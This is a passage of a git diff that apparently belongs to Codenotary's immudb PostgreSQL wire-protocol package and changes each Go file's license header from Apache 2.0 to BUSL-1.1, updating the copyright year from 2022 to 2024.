by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/errors/errors_test.go b/pkg/pgsql/errors/errors_test.go index 7978df8f40..29e014b30a 100644 --- a/pkg/pgsql/errors/errors_test.go +++ b/pkg/pgsql/errors/errors_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/bmessages/authentication_cleartext_password.go b/pkg/pgsql/server/bmessages/authentication_cleartext_password.go index d183d622a4..df6fdca25f 100644 --- a/pkg/pgsql/server/bmessages/authentication_cleartext_password.go +++ b/pkg/pgsql/server/bmessages/authentication_cleartext_password.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/bmessages/authentication_ok.go b/pkg/pgsql/server/bmessages/authentication_ok.go index 19f68ca409..1a36e57763 100644 --- a/pkg/pgsql/server/bmessages/authentication_ok.go +++ b/pkg/pgsql/server/bmessages/authentication_ok.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/bmessages/bind_complete.go b/pkg/pgsql/server/bmessages/bind_complete.go index 1f6c75fc4e..303a934f7f 100644 --- a/pkg/pgsql/server/bmessages/bind_complete.go +++ b/pkg/pgsql/server/bmessages/bind_complete.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/bmessages/command_complete.go b/pkg/pgsql/server/bmessages/command_complete.go index e19225baec..c32c8af9e9 100644 --- a/pkg/pgsql/server/bmessages/command_complete.go +++ b/pkg/pgsql/server/bmessages/command_complete.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/bmessages/data_row.go b/pkg/pgsql/server/bmessages/data_row.go index 23fa99e773..7e752b1646 100644 --- a/pkg/pgsql/server/bmessages/data_row.go +++ b/pkg/pgsql/server/bmessages/data_row.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/bmessages/empty_query_response.go b/pkg/pgsql/server/bmessages/empty_query_response.go index b6ff922ae0..53cd2f7509 100644 --- a/pkg/pgsql/server/bmessages/empty_query_response.go +++ b/pkg/pgsql/server/bmessages/empty_query_response.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http//www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/bmessages/error_response.go b/pkg/pgsql/server/bmessages/error_response.go index ca4e3adb2d..ec429c2c47 100644 --- a/pkg/pgsql/server/bmessages/error_response.go +++ b/pkg/pgsql/server/bmessages/error_response.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http//www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/bmessages/error_response_opt.go b/pkg/pgsql/server/bmessages/error_response_opt.go index c5bf05525f..8a7473e877 100644 --- a/pkg/pgsql/server/bmessages/error_response_opt.go +++ b/pkg/pgsql/server/bmessages/error_response_opt.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/bmessages/error_response_test.go b/pkg/pgsql/server/bmessages/error_response_test.go index f5134ddade..a7a1e9cf0f 100644 --- a/pkg/pgsql/server/bmessages/error_response_test.go +++ b/pkg/pgsql/server/bmessages/error_response_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/bmessages/parameter_description.go b/pkg/pgsql/server/bmessages/parameter_description.go index da53210a1c..e9d53fe4f6 100644 --- a/pkg/pgsql/server/bmessages/parameter_description.go +++ b/pkg/pgsql/server/bmessages/parameter_description.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/bmessages/parameter_status.go b/pkg/pgsql/server/bmessages/parameter_status.go index 500a8adc24..2dd796f4c3 100644 --- a/pkg/pgsql/server/bmessages/parameter_status.go +++ b/pkg/pgsql/server/bmessages/parameter_status.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/bmessages/parse_complete.go b/pkg/pgsql/server/bmessages/parse_complete.go index cb7becf63b..f496e9c389 100644 --- a/pkg/pgsql/server/bmessages/parse_complete.go +++ b/pkg/pgsql/server/bmessages/parse_complete.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/bmessages/ready_for_query.go b/pkg/pgsql/server/bmessages/ready_for_query.go index 664db64527..8989c5b786 100644 --- a/pkg/pgsql/server/bmessages/ready_for_query.go +++ b/pkg/pgsql/server/bmessages/ready_for_query.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/bmessages/row_description.go b/pkg/pgsql/server/bmessages/row_description.go index a56c8ceabd..87c2ac7ca6 100644 --- a/pkg/pgsql/server/bmessages/row_description.go +++ b/pkg/pgsql/server/bmessages/row_description.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/fmessages/bind.go b/pkg/pgsql/server/fmessages/bind.go index 60da5773d5..b851e13080 100644 --- a/pkg/pgsql/server/fmessages/bind.go +++ b/pkg/pgsql/server/fmessages/bind.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/fmessages/bind_test.go b/pkg/pgsql/server/fmessages/bind_test.go index d08457946b..e9240eca61 100644 --- a/pkg/pgsql/server/fmessages/bind_test.go +++ b/pkg/pgsql/server/fmessages/bind_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/fmessages/describe.go b/pkg/pgsql/server/fmessages/describe.go index 60d8ef7273..ccb82c4921 100644 --- a/pkg/pgsql/server/fmessages/describe.go +++ b/pkg/pgsql/server/fmessages/describe.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/fmessages/execute.go b/pkg/pgsql/server/fmessages/execute.go index c0fefe90a4..4f4530b36d 100644 --- a/pkg/pgsql/server/fmessages/execute.go +++ b/pkg/pgsql/server/fmessages/execute.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/fmessages/execute_test.go b/pkg/pgsql/server/fmessages/execute_test.go index a26a4a85ad..6d4afd1c74 100644 --- a/pkg/pgsql/server/fmessages/execute_test.go +++ b/pkg/pgsql/server/fmessages/execute_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/fmessages/flush.go b/pkg/pgsql/server/fmessages/flush.go index d80a8bed48..4663b0f034 100644 --- a/pkg/pgsql/server/fmessages/flush.go +++ b/pkg/pgsql/server/fmessages/flush.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/fmessages/fmessages_test/payload.go b/pkg/pgsql/server/fmessages/fmessages_test/payload.go index 3ba7e875fe..a8fbe55863 100644 --- a/pkg/pgsql/server/fmessages/fmessages_test/payload.go +++ b/pkg/pgsql/server/fmessages/fmessages_test/payload.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/fmessages/parse.go b/pkg/pgsql/server/fmessages/parse.go index 2f53620db1..9b33d6fb11 100644 --- a/pkg/pgsql/server/fmessages/parse.go +++ b/pkg/pgsql/server/fmessages/parse.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/fmessages/parse_test.go b/pkg/pgsql/server/fmessages/parse_test.go index c3506fd6d6..7c966174c3 100644 --- a/pkg/pgsql/server/fmessages/parse_test.go +++ b/pkg/pgsql/server/fmessages/parse_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/fmessages/password_message.go b/pkg/pgsql/server/fmessages/password_message.go index b8257d3244..b714fc1ed5 100644 --- a/pkg/pgsql/server/fmessages/password_message.go +++ b/pkg/pgsql/server/fmessages/password_message.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/fmessages/query.go b/pkg/pgsql/server/fmessages/query.go index 21c862ebcd..e6ae355354 100644 --- a/pkg/pgsql/server/fmessages/query.go +++ b/pkg/pgsql/server/fmessages/query.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/fmessages/string_reader.go b/pkg/pgsql/server/fmessages/string_reader.go index d7675685d2..e625ea435d 100644 --- a/pkg/pgsql/server/fmessages/string_reader.go +++ b/pkg/pgsql/server/fmessages/string_reader.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/fmessages/sync.go b/pkg/pgsql/server/fmessages/sync.go index df16cb9ab1..ff5f1c8db0 100644 --- a/pkg/pgsql/server/fmessages/sync.go +++ b/pkg/pgsql/server/fmessages/sync.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/fmessages/terminate.go b/pkg/pgsql/server/fmessages/terminate.go index d71e08cdec..d994f518e4 100644 --- a/pkg/pgsql/server/fmessages/terminate.go +++ b/pkg/pgsql/server/fmessages/terminate.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/initialize_session.go b/pkg/pgsql/server/initialize_session.go index 5d8b3eefe4..89f1cc4bf1 100644 --- a/pkg/pgsql/server/initialize_session.go +++ b/pkg/pgsql/server/initialize_session.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/message.go b/pkg/pgsql/server/message.go index de1bcc8db1..eaf3857fa6 100644 --- a/pkg/pgsql/server/message.go +++ b/pkg/pgsql/server/message.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/message_test.go b/pkg/pgsql/server/message_test.go index 4eaef81d90..7daa8ce476 100644 --- a/pkg/pgsql/server/message_test.go +++ b/pkg/pgsql/server/message_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/options.go b/pkg/pgsql/server/options.go index 6c0f9b5110..76aa0f93ea 100644 --- a/pkg/pgsql/server/options.go +++ b/pkg/pgsql/server/options.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/pgmeta/pg_type.go b/pkg/pgsql/server/pgmeta/pg_type.go index 357f3dd19c..071450bd2d 100644 --- a/pkg/pgsql/server/pgmeta/pg_type.go +++ b/pkg/pgsql/server/pgmeta/pg_type.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/pgsql_integration_test.go b/pkg/pgsql/server/pgsql_integration_test.go index 3b31b146dc..fd7e8d7e7a 100644 --- a/pkg/pgsql/server/pgsql_integration_test.go +++ b/pkg/pgsql/server/pgsql_integration_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/query_machine.go b/pkg/pgsql/server/query_machine.go index 5afed04b2c..6d3964b2f7 100644 --- a/pkg/pgsql/server/query_machine.go +++ b/pkg/pgsql/server/query_machine.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/query_machine_test.go b/pkg/pgsql/server/query_machine_test.go index 20f0d8d8d3..ba2248f4c0 100644 --- a/pkg/pgsql/server/query_machine_test.go +++ b/pkg/pgsql/server/query_machine_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/request_handler.go b/pkg/pgsql/server/request_handler.go index a3ef5b0eb9..8359769dc9 100644 --- a/pkg/pgsql/server/request_handler.go +++ b/pkg/pgsql/server/request_handler.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/server.go b/pkg/pgsql/server/server.go index 73fe293621..3b6f7c216d 100644 --- a/pkg/pgsql/server/server.go +++ b/pkg/pgsql/server/server.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/server_test.go b/pkg/pgsql/server/server_test.go index 944b783515..0c18d596f4 100644 --- a/pkg/pgsql/server/server_test.go +++ b/pkg/pgsql/server/server_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/session.go b/pkg/pgsql/server/session.go index 37df42b662..d35d1fd23a 100644 --- a/pkg/pgsql/server/session.go +++ b/pkg/pgsql/server/session.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/session_test.go b/pkg/pgsql/server/session_test.go index ded17d89c7..7d76935084 100644 --- a/pkg/pgsql/server/session_test.go +++ b/pkg/pgsql/server/session_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/ssl_handshake.go b/pkg/pgsql/server/ssl_handshake.go index 9ef2428a72..e1702dd5aa 100644 --- a/pkg/pgsql/server/ssl_handshake.go +++ b/pkg/pgsql/server/ssl_handshake.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/ssl_handshake_test.go b/pkg/pgsql/server/ssl_handshake_test.go index 40f5e07d06..33a540a7ab 100644 --- a/pkg/pgsql/server/ssl_handshake_test.go +++ b/pkg/pgsql/server/ssl_handshake_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the 